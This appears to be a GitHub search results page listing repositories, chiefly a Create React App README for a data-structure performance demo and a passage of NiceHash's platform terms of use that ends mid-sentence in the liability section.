Found 76 repositories(showing 30)
rramatchandran
# big-o-performance A simple html app to demonstrate performance costs of data structures. - Clone the project - Navigate to the root of the project in a termina or command prompt - Run 'npm install' - Run 'npm start' - Go to the URL specified in the terminal or command prompt to try out the app. # This app was created from the Create React App NPM. Below are instructions from that project. Below you will find some information on how to perform common tasks. You can find the most recent version of this guide [here](https://github.com/facebookincubator/create-react-app/blob/master/template/README.md). ## Table of Contents - [Updating to New Releases](#updating-to-new-releases) - [Sending Feedback](#sending-feedback) - [Folder Structure](#folder-structure) - [Available Scripts](#available-scripts) - [npm start](#npm-start) - [npm run build](#npm-run-build) - [npm run eject](#npm-run-eject) - [Displaying Lint Output in the Editor](#displaying-lint-output-in-the-editor) - [Installing a Dependency](#installing-a-dependency) - [Importing a Component](#importing-a-component) - [Adding a Stylesheet](#adding-a-stylesheet) - [Post-Processing CSS](#post-processing-css) - [Adding Images and Fonts](#adding-images-and-fonts) - [Adding Bootstrap](#adding-bootstrap) - [Adding Flow](#adding-flow) - [Adding Custom Environment Variables](#adding-custom-environment-variables) - [Integrating with a Node Backend](#integrating-with-a-node-backend) - [Proxying API Requests in Development](#proxying-api-requests-in-development) - [Deployment](#deployment) - [Now](#now) - [Heroku](#heroku) - [Surge](#surge) - [GitHub Pages](#github-pages) - [Something Missing?](#something-missing) ## Updating to New Releases Create React App is divided into two packages: * `create-react-app` is a global command-line utility that you use to create new projects. * `react-scripts` is a development dependency in the generated projects (including this one). You almost never need to update `create-react-app` itself: it’s delegates all the setup to `react-scripts`. When you run `create-react-app`, it always creates the project with the latest version of `react-scripts` so you’ll get all the new features and improvements in newly created apps automatically. To update an existing project to a new version of `react-scripts`, [open the changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md), find the version you’re currently on (check `package.json` in this folder if you’re not sure), and apply the migration instructions for the newer versions. In most cases bumping the `react-scripts` version in `package.json` and running `npm install` in this folder should be enough, but it’s good to consult the [changelog](https://github.com/facebookincubator/create-react-app/blob/master/CHANGELOG.md) for potential breaking changes. We commit to keeping the breaking changes minimal so you can upgrade `react-scripts` painlessly. ## Sending Feedback We are always open to [your feedback](https://github.com/facebookincubator/create-react-app/issues). ## Folder Structure After creation, your project should look like this: ``` my-app/ README.md index.html favicon.ico node_modules/ package.json src/ App.css App.js index.css index.js logo.svg ``` For the project to build, **these files must exist with exact filenames**: * `index.html` is the page template; * `favicon.ico` is the icon you see in the browser tab; * `src/index.js` is the JavaScript entry point. You can delete or rename the other files. You may create subdirectories inside `src`. For faster rebuilds, only files inside `src` are processed by Webpack. You need to **put any JS and CSS files inside `src`**, or Webpack won’t see them. You can, however, create more top-level directories. They will not be included in the production build so you can use them for things like documentation. ## Available Scripts In the project directory, you can run: ### `npm start` Runs the app in the development mode.<br> Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.<br> You will also see any lint errors in the console. ### `npm run build` Builds the app for production to the `build` folder.<br> It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.<br> Your app is ready to be deployed! ### `npm run eject` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (Webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Displaying Lint Output in the Editor >Note: this feature is available with `react-scripts@0.2.0` and higher. Some editors, including Sublime Text, Atom, and Visual Studio Code, provide plugins for ESLint. They are not required for linting. You should see the linter output right in your terminal as well as the browser console. However, if you prefer the lint results to appear right in your editor, there are some extra steps you can do. You would need to install an ESLint plugin for your editor first. >**A note for Atom `linter-eslint` users** >If you are using the Atom `linter-eslint` plugin, make sure that **Use global ESLint installation** option is checked: ><img src="http://i.imgur.com/yVNNHJM.png" width="300"> Then make sure `package.json` of your project ends with this block: ```js { // ... "eslintConfig": { "extends": "./node_modules/react-scripts/config/eslint.js" } } ``` Projects generated with `react-scripts@0.2.0` and higher should already have it. If you don’t need ESLint integration with your editor, you can safely delete those three lines from your `package.json`. Finally, you will need to install some packages *globally*: ```sh npm install -g eslint babel-eslint eslint-plugin-react eslint-plugin-import eslint-plugin-jsx-a11y eslint-plugin-flowtype ``` We recognize that this is suboptimal, but it is currently required due to the way we hide the ESLint dependency. The ESLint team is already [working on a solution to this](https://github.com/eslint/eslint/issues/3458) so this may become unnecessary in a couple of months. ## Installing a Dependency The generated project includes React and ReactDOM as dependencies. It also includes a set of scripts used by Create React App as a development dependency. You may install other dependencies (for example, React Router) with `npm`: ``` npm install --save <library-name> ``` ## Importing a Component This project setup supports ES6 modules thanks to Babel. While you can still use `require()` and `module.exports`, we encourage you to use [`import` and `export`](http://exploringjs.com/es6/ch_modules.html) instead. For example: ### `Button.js` ```js import React, { Component } from 'react'; class Button extends Component { render() { // ... } } export default Button; // Don’t forget to use export default! ``` ### `DangerButton.js` ```js import React, { Component } from 'react'; import Button from './Button'; // Import a component from another file class DangerButton extends Component { render() { return <Button color="red" />; } } export default DangerButton; ``` Be aware of the [difference between default and named exports](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281). It is a common source of mistakes. We suggest that you stick to using default imports and exports when a module only exports a single thing (for example, a component). That’s what you get when you use `export default Button` and `import Button from './Button'`. Named exports are useful for utility modules that export several functions. A module may have at most one default export and as many named exports as you like. Learn more about ES6 modules: * [When to use the curly braces?](http://stackoverflow.com/questions/36795819/react-native-es-6-when-should-i-use-curly-braces-for-import/36796281#36796281) * [Exploring ES6: Modules](http://exploringjs.com/es6/ch_modules.html) * [Understanding ES6: Modules](https://leanpub.com/understandinges6/read#leanpub-auto-encapsulating-code-with-modules) ## Adding a Stylesheet This project setup uses [Webpack](https://webpack.github.io/) for handling all assets. Webpack offers a custom way of “extending” the concept of `import` beyond JavaScript. To express that a JavaScript file depends on a CSS file, you need to **import the CSS from the JavaScript file**: ### `Button.css` ```css .Button { padding: 20px; } ``` ### `Button.js` ```js import React, { Component } from 'react'; import './Button.css'; // Tell Webpack that Button.js uses these styles class Button extends Component { render() { // You can use them as regular CSS styles return <div className="Button" />; } } ``` **This is not required for React** but many people find this feature convenient. You can read about the benefits of this approach [here](https://medium.com/seek-ui-engineering/block-element-modifying-your-javascript-components-d7f99fcab52b). However you should be aware that this makes your code less portable to other build tools and environments than Webpack. In development, expressing dependencies this way allows your styles to be reloaded on the fly as you edit them. In production, all CSS files will be concatenated into a single minified `.css` file in the build output. If you are concerned about using Webpack-specific semantics, you can put all your CSS right into `src/index.css`. It would still be imported from `src/index.js`, but you could always remove that import if you later migrate to a different build tool. ## Post-Processing CSS This project setup minifies your CSS and adds vendor prefixes to it automatically through [Autoprefixer](https://github.com/postcss/autoprefixer) so you don’t need to worry about it. For example, this: ```css .App { display: flex; flex-direction: row; align-items: center; } ``` becomes this: ```css .App { display: -webkit-box; display: -ms-flexbox; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; -ms-flex-direction: row; flex-direction: row; -webkit-box-align: center; -ms-flex-align: center; align-items: center; } ``` There is currently no support for preprocessors such as Less, or for sharing variables across CSS files. ## Adding Images and Fonts With Webpack, using static assets like images and fonts works similarly to CSS. You can **`import` an image right in a JavaScript module**. This tells Webpack to include that image in the bundle. Unlike CSS imports, importing an image or a font gives you a string value. This value is the final image path you can reference in your code. Here is an example: ```js import React from 'react'; import logo from './logo.png'; // Tell Webpack this JS file uses this image console.log(logo); // /logo.84287d09.png function Header() { // Import result is the URL of your image return <img src={logo} alt="Logo" />; } export default function Header; ``` This works in CSS too: ```css .Logo { background-image: url(./logo.png); } ``` Webpack finds all relative module references in CSS (they start with `./`) and replaces them with the final paths from the compiled bundle. If you make a typo or accidentally delete an important file, you will see a compilation error, just like when you import a non-existent JavaScript module. The final filenames in the compiled bundle are generated by Webpack from content hashes. If the file content changes in the future, Webpack will give it a different name in production so you don’t need to worry about long-term caching of assets. Please be advised that this is also a custom feature of Webpack. **It is not required for React** but many people enjoy it (and React Native uses a similar mechanism for images). However it may not be portable to some other environments, such as Node.js and Browserify. If you prefer to reference static assets in a more traditional way outside the module system, please let us know [in this issue](https://github.com/facebookincubator/create-react-app/issues/28), and we will consider support for this. ## Adding Bootstrap You don’t have to use [React Bootstrap](https://react-bootstrap.github.io) together with React but it is a popular library for integrating Bootstrap with React apps. If you need it, you can integrate it with Create React App by following these steps: Install React Bootstrap and Bootstrap from NPM. React Bootstrap does not include Bootstrap CSS so this needs to be installed as well: ``` npm install react-bootstrap --save npm install bootstrap@3 --save ``` Import Bootstrap CSS and optionally Bootstrap theme CSS in the ```src/index.js``` file: ```js import 'bootstrap/dist/css/bootstrap.css'; import 'bootstrap/dist/css/bootstrap-theme.css'; ``` Import required React Bootstrap components within ```src/App.js``` file or your custom component files: ```js import { Navbar, Jumbotron, Button } from 'react-bootstrap'; ``` Now you are ready to use the imported React Bootstrap components within your component hierarchy defined in the render method. Here is an example [`App.js`](https://gist.githubusercontent.com/gaearon/85d8c067f6af1e56277c82d19fd4da7b/raw/6158dd991b67284e9fc8d70b9d973efe87659d72/App.js) redone using React Bootstrap. ## Adding Flow Flow typing is currently [not supported out of the box](https://github.com/facebookincubator/create-react-app/issues/72) with the default `.flowconfig` generated by Flow. If you run it, you might get errors like this: ```js node_modules/fbjs/lib/Deferred.js.flow:60 60: Promise.prototype.done.apply(this._promise, arguments); ^^^^ property `done`. Property not found in 495: declare class Promise<+R> { ^ Promise. See lib: /private/tmp/flow/flowlib_34952d31/core.js:495 node_modules/fbjs/lib/shallowEqual.js.flow:29 29: return x !== 0 || 1 / (x: $FlowIssue) === 1 / (y: $FlowIssue); ^^^^^^^^^^ identifier `$FlowIssue`. Could not resolve name src/App.js:3 3: import logo from './logo.svg'; ^^^^^^^^^^^^ ./logo.svg. Required module not found src/App.js:4 4: import './App.css'; ^^^^^^^^^^^ ./App.css. Required module not found src/index.js:5 5: import './index.css'; ^^^^^^^^^^^^^ ./index.css. Required module not found ``` To fix this, change your `.flowconfig` to look like this: ```ini [libs] ./node_modules/fbjs/flow/lib [options] esproposal.class_static_fields=enable esproposal.class_instance_fields=enable module.name_mapper='^\(.*\)\.css$' -> 'react-scripts/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> 'react-scripts/config/flow/file' suppress_type=$FlowIssue suppress_type=$FlowFixMe ``` Re-run flow, and you shouldn’t get any extra issues. If you later `eject`, you’ll need to replace `react-scripts` references with the `<PROJECT_ROOT>` placeholder, for example: ```ini module.name_mapper='^\(.*\)\.css$' -> '<PROJECT_ROOT>/config/flow/css' module.name_mapper='^\(.*\)\.\(jpg\|png\|gif\|eot\|otf\|webp\|svg\|ttf\|woff\|woff2\|mp4\|webm\)$' -> '<PROJECT_ROOT>/config/flow/file' ``` We will consider integrating more tightly with Flow in the future so that you don’t have to do this. ## Adding Custom Environment Variables >Note: this feature is available with `react-scripts@0.2.3` and higher. Your project can consume variables declared in your environment as if they were declared locally in your JS files. By default you will have `NODE_ENV` defined for you, and any other environment variables starting with `REACT_APP_`. These environment variables will be defined for you on `process.env`. For example, having an environment variable named `REACT_APP_SECRET_CODE` will be exposed in your JS as `process.env.REACT_APP_SECRET_CODE`, in addition to `process.env.NODE_ENV`. These environment variables can be useful for displaying information conditionally based on where the project is deployed or consuming sensitive data that lives outside of version control. First, you need to have environment variables defined, which can vary between OSes. For example, let's say you wanted to consume a secret defined in the environment inside a `<form>`: ```jsx render() { return ( <div> <small>You are running this application in <b>{process.env.NODE_ENV}</b> mode.</small> <form> <input type="hidden" defaultValue={process.env.REACT_APP_SECRET_CODE} /> </form> </div> ); } ``` The above form is looking for a variable called `REACT_APP_SECRET_CODE` from the environment. In order to consume this value, we need to have it defined in the environment: ### Windows (cmd.exe) ```cmd set REACT_APP_SECRET_CODE=abcdef&&npm start ``` (Note: the lack of whitespace is intentional.) ### Linux, OS X (Bash) ```bash REACT_APP_SECRET_CODE=abcdef npm start ``` > Note: Defining environment variables in this manner is temporary for the life of the shell session. Setting permanent environment variables is outside the scope of these docs. With our environment variable defined, we start the app and consume the values. Remember that the `NODE_ENV` variable will be set for you automatically. When you load the app in the browser and inspect the `<input>`, you will see its value set to `abcdef`, and the bold text will show the environment provided when using `npm start`: ```html <div> <small>You are running this application in <b>development</b> mode.</small> <form> <input type="hidden" value="abcdef" /> </form> </div> ``` Having access to the `NODE_ENV` is also useful for performing actions conditionally: ```js if (process.env.NODE_ENV !== 'production') { analytics.disable(); } ``` ## Integrating with a Node Backend Check out [this tutorial](https://www.fullstackreact.com/articles/using-create-react-app-with-a-server/) for instructions on integrating an app with a Node backend running on another port, and using `fetch()` to access it. You can find the companion GitHub repository [here](https://github.com/fullstackreact/food-lookup-demo). ## Proxying API Requests in Development >Note: this feature is available with `react-scripts@0.2.3` and higher. People often serve the front-end React app from the same host and port as their backend implementation. For example, a production setup might look like this after the app is deployed: ``` / - static server returns index.html with React app /todos - static server returns index.html with React app /api/todos - server handles any /api/* requests using the backend implementation ``` Such setup is **not** required. However, if you **do** have a setup like this, it is convenient to write requests like `fetch('/api/todos')` without worrying about redirecting them to another host or port during development. To tell the development server to proxy any unknown requests to your API server in development, add a `proxy` field to your `package.json`, for example: ```js "proxy": "http://localhost:4000", ``` This way, when you `fetch('/api/todos')` in development, the development server will recognize that it’s not a static asset, and will proxy your request to `http://localhost:4000/api/todos` as a fallback. Conveniently, this avoids [CORS issues](http://stackoverflow.com/questions/21854516/understanding-ajax-cors-and-security-considerations) and error messages like this in development: ``` Fetch API cannot load http://localhost:4000/api/todos. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:3000' is therefore not allowed access. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. ``` Keep in mind that `proxy` only has effect in development (with `npm start`), and it is up to you to ensure that URLs like `/api/todos` point to the right thing in production. You don’t have to use the `/api` prefix. Any unrecognized request will be redirected to the specified `proxy`. Currently the `proxy` option only handles HTTP requests, and it won’t proxy WebSocket connections. If the `proxy` option is **not** flexible enough for you, alternatively you can: * Enable CORS on your server ([here’s how to do it for Express](http://enable-cors.org/server_expressjs.html)). * Use [environment variables](#adding-custom-environment-variables) to inject the right server host and port into your app. ## Deployment By default, Create React App produces a build assuming your app is hosted at the server root. To override this, specify the `homepage` in your `package.json`, for example: ```js "homepage": "http://mywebsite.com/relativepath", ``` This will let Create React App correctly infer the root path to use in the generated HTML file. ### Now See [this example](https://github.com/xkawi/create-react-app-now) for a zero-configuration single-command deployment with [now](https://zeit.co/now). ### Heroku Use the [Heroku Buildpack for Create React App](https://github.com/mars/create-react-app-buildpack). You can find instructions in [Deploying React with Zero Configuration](https://blog.heroku.com/deploying-react-with-zero-configuration). ### Surge Install the Surge CLI if you haven't already by running `npm install -g surge`. Run the `surge` command and log in you or create a new account. You just need to specify the *build* folder and your custom domain, and you are done. ```sh email: email@domain.com password: ******** project path: /path/to/project/build size: 7 files, 1.8 MB domain: create-react-app.surge.sh upload: [====================] 100%, eta: 0.0s propagate on CDN: [====================] 100% plan: Free users: email@domain.com IP Address: X.X.X.X Success! Project is published and running at create-react-app.surge.sh ``` Note that in order to support routers that use html5 `pushState` API, you may want to rename the `index.html` in your build folder to `200.html` before deploying to Surge. This [ensures that every URL falls back to that file](https://surge.sh/help/adding-a-200-page-for-client-side-routing). ### GitHub Pages >Note: this feature is available with `react-scripts@0.2.0` and higher. Open your `package.json` and add a `homepage` field: ```js "homepage": "http://myusername.github.io/my-app", ``` **The above step is important!** Create React App uses the `homepage` field to determine the root URL in the built HTML file. Now, whenever you run `npm run build`, you will see a cheat sheet with a sequence of commands to deploy to GitHub pages: ```sh git commit -am "Save local changes" git checkout -B gh-pages git add -f build git commit -am "Rebuild website" git filter-branch -f --prune-empty --subdirectory-filter build git push -f origin gh-pages git checkout - ``` You may copy and paste them, or put them into a custom shell script. You may also customize them for another hosting provider. Note that GitHub Pages doesn't support routers that use the HTML5 `pushState` history API under the hood (for example, React Router using `browserHistory`). This is because when there is a fresh page load for a url like `http://user.github.io/todomvc/todos/42`, where `/todos/42` is a frontend route, the GitHub Pages server returns 404 because it knows nothing of `/todos/42`. If you want to add a router to a project hosted on GitHub Pages, here are a couple of solutions: * You could switch from using HTML5 history API to routing with hashes. If you use React Router, you can switch to `hashHistory` for this effect, but the URL will be longer and more verbose (for example, `http://user.github.io/todomvc/#/todos/42?_k=yknaj`). [Read more](https://github.com/reactjs/react-router/blob/master/docs/guides/Histories.md#histories) about different history implementations in React Router. * Alternatively, you can use a trick to teach GitHub Pages to handle 404 by redirecting to your `index.html` page with a special redirect parameter. You would need to add a `404.html` file with the redirection code to the `build` folder before deploying your project, and you’ll need to add code handling the redirect parameter to `index.html`. You can find a detailed explanation of this technique [in this guide](https://github.com/rafrex/spa-github-pages). ## Something Missing? If you have ideas for more “How To” recipes that should be on this page, [let us know](https://github.com/facebookincubator/create-react-app/issues) or [contribute some!](https://github.com/facebookincubator/create-react-app/edit/master/template/README.md)
4finance
Gradle plugin that tells you what libs have new versions on the specified Maven repository
Rastaman4e
NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE PLEASE READ THESE NICEHASH PLATFORM TERMS OF USE AND NICEHASH MINING TERMS OF SERVICE (“Terms”) CAREFULLY BEFORE USING THE THE PLATFORM OR SERVICES DESCRIBED HEREIN. BY SELECTING “I AGREE”, ACCESSING THE PLATFORM, USING NICEHASH MINING SERVICES OR DOWNLOADING OR USING NICEHASH MINING SOFTWARE, YOU ARE ACKNOWLEDGING THAT YOU HAVE READ THESE TERMS, AS AMENDED FROM TIME TO TIME, AND YOU ARE AGREEING TO BE BOUND BY THEM. IF YOU DO NOT AGREE TO THESE TERMS, OR ANY SUBSEQUENT AMENDMENTS, CHANGES OR UPDATES, DO NOT ACCESS THE PLATFORM, USE NICEHASH MINING SERVICES OR USE THE NICEHASH MINING SOFTWARE. GENERAL These Terms apply to users of the NiceHash Platform (“Platform” and NiceHash Mining Services (“Services”) which are provided to you by NICEHASH Ltd, company organized and existing under the laws of the British Virgin Islands, with registered address at Intershore Chambers, Road Town, Tortola, British Virgin Islands, registration number: 2048669, hereinafter referred to as “NiceHash, as well as “we” or “us”. ELIGIBILITY By using the NiceHash platform and NiceHash Mining Services, you represent and warrant that you: are at least Minimum Age and have capacity to form a binding contract; have not previously been suspended or removed from the NiceHash Platform; have full power and authority to enter into this agreement and in doing so will not violate any other agreement to which you are a party; are not not furthering, performing, undertaking, engaging in, aiding, or abetting any unlawful activity through your relationship with us, through your use of NiceHash Platform or use of NiceHash Mining Services; will not use NiceHash Platform or NiceHash Mining Services if any applicable laws in your country prohibit you from doing so in accordance with these Terms. We reserve the right to terminate your access to the NiceHash Platform and Mining Services for any reason and in our sole and absolute discretion. Use of NiceHash Platform and Mining Services is void where prohibited by applicable law. Depending on your country of residence or incorporation or registered office, you may not be able to use all the functions of the NiceHash Platform or services provided therein. It is your responsibility to follow the rules and laws in your country of residence and/or country from which you access the NiceHash Platform. DEFINITIONS NiceHash Platform means a website located on the following web address: www.nicehash.com. NiceHash Mining Services mean all services provided by NiceHash, namely the provision of the NiceHash Platform, NiceHash Hashing power marketplace, NiceHash API, NiceHash OS, NiceHash Mining Software including licence for NiceHash Miner, NiceHash Private Endpoint, NiceHash Account, NiceHash mobile apps, and all other software products, applications and services associated with these products, except for the provision of NiceHash Exchange Services. NiceHash Exchange Service means a service which allows trading of digital assets in the form of digital tokens or cryptographic currency for our users by offering them a trading venue, helping them find a trading counterparty and providing the means for transaction execution. NiceHash Exchange Services are provided by NICEX Ltd and accessible at the NiceHash Platform under NiceHash Exchange Terms of Service. Hashing power marketplace means an infrastructure provided by the NiceHash which enables the Hashing power providers to point their rigs towards NiceHash stratum servers where Hashing power provided by different Hashing power providers is gathered and sold as generic Hashing power to the Hashing power buyers. Hashing power buyer means a legal entity or individual who buys the gathered and generic hashing power on the Hashing power marketplace from undefined Hashing power providers. Hashing power provider means a legal entity or individual who sells his hashing power on the Hashing power marketplace to undefined Hashing power buyers. NiceHash Mining Software means NiceHash Miner and any other software available via the NiceHash Platform. NiceHash Miner means a comprehensive software with graphical user interface and web interface, owned by NiceHash. NiceHash Miner is a process manager software which enables the Hashing power providers to point their rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash Miner also means any and all of its code, compilations, updates, upgrades, modifications, error corrections, patches and bug fixes and similar. NiceHash Miner does not mean third party software compatible with NiceHash Miner (Third Party Plugins and Miners). NiceHash QuickMiner means a software accessible at https://www.nicehash.com/quick-miner which enables Hashing power providers to point their PCs or rigs towards NiceHash stratum servers and sell their hashing power to the Hashing power buyers. NiceHash QuickMiner is intended as a tryout tool. Hashing power rig means all hardware which produces hashing power that represents computation power which is required to calculate the hash function of different type of cryptocurrency. Secondary account is an account managed by third party from which the Account holder deposits funds to his NiceHash Wallet or/and to which the Account holder withdraws funds from his NiceHash Wallet. Stratum is a lightweight mining protocol: https://slushpool.com/help/manual/stratum-protocol. NiceHash Account means an online account available on the NiceHash Platform and created by completing the registration procedure on the NiceHash Platform. Account holder means an individual or legal entity who completes the registration procedure and successfully creates the NiceHash Account. Minimum Age means 18 years old or older, if in order for NiceHash to lawfully provide the Services to you without parental consent (including using your personal data). NiceHash Wallet means a wallet created automatically for the Account holder and provided by the NiceHash Wallet provider. NiceHash does not hold funds on behalf of the Account holder but only transfers Account holder’s requests regarding the NiceHash Wallet transaction to the NiceHash Wallet provider who executes the requested transactions. In this respect NiceHash only processes and performs administrative services related to the payments regarding the NiceHash Mining Services and NiceHash Exchange Services, if applicable. NiceHash Wallet provider is a third party which on the behalf of the Account holder provides and manages the NiceHash Wallet, holds, stores and transfers funds and hosts NiceHash Wallet. For more information about the NiceHash Wallet provider, see the following website: https://www.bitgo.com/. Blockchain network is a distributed database that is used to maintain a continuously growing list of records, called blocks. Force Majeure Event means any governmental or relevant regulatory regulations, acts of God, war, riot, civil commotion, fire, flood, or any disaster or an industrial dispute of workers unrelated to you or NiceHash. Any act, event, omission, happening or non-happening will only be considered Force Majeure if it is not attributable to the wilful act, neglect or failure to take reasonable precautions of the affected party, its agents, employees, consultants, contractors and sub-contractors. SALE AND PURCHASE OF HASHING POWER Hashing power providers agree to sell and NiceHash agrees to proceed Hashing power buyers’ payments for the provided hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle get-paid-per-valid-share (pay as you go principle) Hashing power providers will be paid only for validated and accepted hashing power to their NiceHash Wallet or other wallet, as indicated in Account holder’s profile settings or in stratum connection username. In some cases, no Hashing power is sent to Hashing power buyers or is accepted by NiceHash Services, even if Hashing power is generated on the Hashing power rigs. These cases include usage of slower hardware as well as software, hardware or network errors. In these cases, Hashing power providers are not paid for such Hashing power. Hashing power buyers agree to purchase and NiceHash agrees to process the order and forward the purchased hashing power on the Hashing power marketplace, on the Terms set forth herein. According to the applicable principle pay-per-valid-share (pay as you go principle) Hashing power buyers will pay from their NiceHash Wallet only for the hashing power that was validated by our engine. When connection to the mining pool which is selected on the Hashing power order is lost or when an order is cancelled during its lifetime, Hashing power buyer pays for additional 10 seconds worth of hashing power. Hashing power order is charged for extra hashing power when mining pool which is selected on the Hashing power order, generates rapid mining work changes and/or rapid mining job switching. All payments including any fees will be processed in crypto currency and NiceHash does not provide an option to sale and purchase of the hashing power in fiat currency. RISK DISCLOSURE If you choose to use NiceHash Platform, Services and NiceHash Wallet, it is important that you remain aware of the risks involved, that you have adequate technical resources and knowledge to bear such risks and that you monitor your transactions carefully. General risk You understand that NiceHash Platform and Services, blockchain technology, Bitcoin, all other cryptocurrencies and cryptotokens, proof of work concept and other associated and related technologies are new and untested and outside of NiceHash’s control. You acknowledge that there are major risks associated with these technologies. In addition to the risks disclosed below, there are risks that NiceHash cannot foresee and it is unreasonable to believe that such risk could have been foreseeable. The performance of NiceHash’s obligation under these Terms will terminate if market or technology circumstances change to such an extent that (i) these Terms clearly no longer comply with NiceHash’s expectations, (ii) it would be unjust to enforce NiceHash’s obligations in the general opinion or (iii) NiceHash’s obligation becomes impossible. NiceHash Account abuse You acknowledge that there is risk associated with the NiceHash Account abuse and that you have been fully informed and warned about it. The funds stored in the NiceHash Wallet may be disposed by third party in case the third party obtains the Account holder’s login credentials. The Account holder shall protect his login credentials and his electronic devices where the login credentials are stored against unauthorized access. Regulatory risks You acknowledge that there is risk associated with future legislation which may restrict, limit or prohibit certain aspects of blockchain technology which may also result in restriction, limitation or prohibition of NiceHash Services and that you have been fully informed and warned about it. Risk of hacking You acknowledge that there is risk associated with hacking NiceHash Services and NiceHash Wallet and that you have been fully informed and warned about it. Hacker or other groups or organizations may attempt to interfere with NiceHash Services or NiceHash Wallet in any way, including without limitation denial of services attacks, Sybil attacks, spoofing, smurfing, malware attacks, mining attacks or consensus-based attacks. Cryptocurrency risk You acknowledge that there is risk associated with the cryptocurrencies which are used as payment method and that you have been fully informed and warned about it. Cryptocurrencies are prone to, but not limited to, value volatility, transaction costs and times uncertainty, lack of liquidity, availability, regulatory restrictions, policy changes and security risks. NiceHash Wallet risk You acknowledge that there is risk associated with funds held on the NiceHash Wallet and that you have been fully informed and warned about it. You acknowledge that NiceHash Wallet is provided by NiceHash Wallet provider and not NiceHash. You acknowledge and agree that NiceHash shall not be responsible for any NiceHash Wallet provider’s services, including their accuracy, completeness, timeliness, validity, copyright compliance, legality, decency, quality or any other aspect thereof. NiceHash does not assume and shall not have any liability or responsibility to you or any other person or entity for any Hash Wallet provider’s services. Hash Wallet provider’s services and links thereto are provided solely as a convenience to you and you access and use them entirely at your own risk and subject to NiceHash Wallet provider’s terms and conditions. Since the NiceHash Wallet is a cryptocurrency wallet all funds held on it are entirely uninsured in contrast to the funds held on the bank account or other financial institutions which are insured. Connection risk You acknowledge that there are risks associated with usage of NiceHash Services which are provided through the internet including, but not limited to, the failure of hardware, software, configuration and internet connections and that you have been fully informed and warned about it. You acknowledge that NiceHash will not be responsible for any configuration, connection or communication failures, disruptions, errors, distortions or delays you may experience when using NiceHash Services, however caused. Hashing power provision risk You acknowledge that there are risks associated with the provisions of the hashing power which is provided by the Hashing power providers through the Hashing power marketplace and that you have been fully informed and warned about it. You acknowledge that NiceHash does not provide the hashing power but only provides the Hashing power marketplace as a service. Hashing power providers’ Hashing power rigs are new and untested and outside of NiceHash’s control. There is a major risk that the Hashing power rigs (i) will stop providing hashing power, (ii) will provide hashing power in an unstable way, (iii) will be wrongly configured or (iv) provide insufficient speed of the hashing power. Hashing power rigs as hardware could be subject of damage, errors, electricity outage, misconfiguration, connection or communication failures and other malfunctions. NiceHash will not be responsible for operation of Hashing power rigs and its provision of hashing power. By submitting a Hashing power order you agree to Hashing power no-refund policy – all shares forwarded to mining pool, selected on the Hashing power order are final and non-refundable. Hashing power profitability risk You acknowledge that there is risk associated with the profitability of the hashing power provision and that you have been fully informed and warned about it. You acknowledge that all Hashing power rig’s earning estimates and profitability calculations on NiceHash Platform are only for informational purposes and were made based on the Hashing power rigs set up in the test environments. NiceHash does not warrant that your Hashing power rigs would achieve the same profitability or earnings as calculated on NiceHash Platform. There is risk that your Hashing power rig would not produce desired hashing power quantity and quality and that your produced hashing power would differentiate from the hashing power produced by our Hashing power rigs set up in the test environments. There is risk that your Hashing power rigs would not be as profitable as our Hashing power rigs set up in the test environments or would not be profitable at all. WARRANTIES NiceHash Platform and Mining Services are provided on the “AS IS” and “AS AVAILABLE” basis, including all faults and defects. To the maximum extent permitted by applicable law, NiceHash makes no representations and warranties and you waive all warranties of any kind. Particularly, without limiting the generality of the foregoing, the NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding NiceHash Platform and Mining Services or other services related to NiceHash Platform and provided by third parties, including any warranty that such services will be uninterrupted, harmless, secure or not corrupt or damaged, meet your requirements, achieve any intended results, be compatible or work with any other software, applications, systems or services, meet any performance or error free or that any errors or defects can or will be corrected. Additionally NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise of merchantability, suitability, reliability, availability, timeliness, accuracy, satisfactory quality, fitness for a particular purpose or quality, title and non-infringement with respect to any of the Mining Services or other services related to NiceHash Platform and provided by third parties, or quiet enjoyment and any warranties arising out of any course of dealing, course of performance, trade practice or usage of NiceHash Platform and Mining Services including information, content and material contained therein. Especially NiceHash makes no representations and warranties, whether express, implied, statutory or otherwise regarding any payment services and systems, NiceHash Wallet which is provided by third party or any other financial services which might be related to the NiceHash Platform and Mining Services. You acknowledge that you do not rely on and have not been induced to accept the NiceHash Platform and Mining Services according to these Terms on the basis of any warranties, representations, covenants, undertakings or any other statement whatsoever, other than expressly set out in these Terms that neither the NiceHash nor any of its respective agents, officers, employees or advisers have given any such warranties, representations, covenants, undertakings or other statements. LIABILITY NiceHash and their respective officers, employees or agents will not be liable to you or anyone else, to the maximum extent permitted by applicable law, for any damages of any kind, including, but not limited to, direct, consequential, incidental, special or indirect damages (including but not limited to lost profits, trading losses or damages that result from use or loss of use of NiceHash Services or NiceHash Wallet), even if NiceHash has been advised of the possibility of such damages or losses, including, without limitation, from the use or attempted use of NiceHash Platform and Mining Services, NiceHash Wallet or other related websites or services. NiceHash does not assume any obligations to users in connection with the unlawful alienation of Bitcoins, which occurred on 6. 12. 2017 with NICEHASH, d. o. o., and has been fully reimbursed with the completion of the NiceHash Repayment Program. NiceHash will not be responsible for any compensation, reimbursement, or damages arising in connection with: (i) your inability to 